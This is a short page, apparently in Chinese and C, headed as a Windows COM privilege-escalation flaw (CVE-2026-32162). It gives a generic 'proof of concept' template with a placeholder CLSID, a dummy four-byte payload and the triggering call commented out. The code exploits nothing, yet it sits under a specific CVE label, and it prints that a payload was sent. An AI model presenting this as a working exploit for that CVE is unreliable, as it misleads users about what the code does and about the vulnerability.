CVE-2026-32162 Windows COM特权提升漏洞

#include <windows.h> #include <comdef.h> // This is a generic Proof of Concept template for Windows COM Local Privilege Escalation // Replace the CLSID and IID with the specific vulnerable COM component details. int main() { HRESULT hr; IUnknown* pInterface = NULL; // Initialize the COM library hr = CoInitialize(NULL); if (FAILED(hr)) { printf("Failed to initialize COM library.\n"); return 1; } // Attempt to create an instance of the vulnerable COM object // CLSID_VULNERABLE_OBJ represents the Class ID of the target CLSID clsid; CLSIDFromString(L"{00000000-0000-0000-0000-000000000000}", &clsid); // Placeholder CLSID hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown, (void**)&pInterface); if (SUCCEEDED(hr)) { printf("COM Object created successfully.\n"); // Craft malicious payload (Extraneous untrusted data) // This data would trigger the vulnerability when passed to a specific method BYTE maliciousData[] = {0x41, 0x41, 0x41, 0x41}; // Example payload // Trigger the vulnerability by calling the method // pInterface->VulnerableMethod(maliciousData); printf("Payload sent. Check if privileges were escalated.\n"); pInterface->Release(); } else { printf("Failed to create COM object. Error: 0x%x\n", hr); } // Uninitialize the COM library CoUninitialize(); return 0; }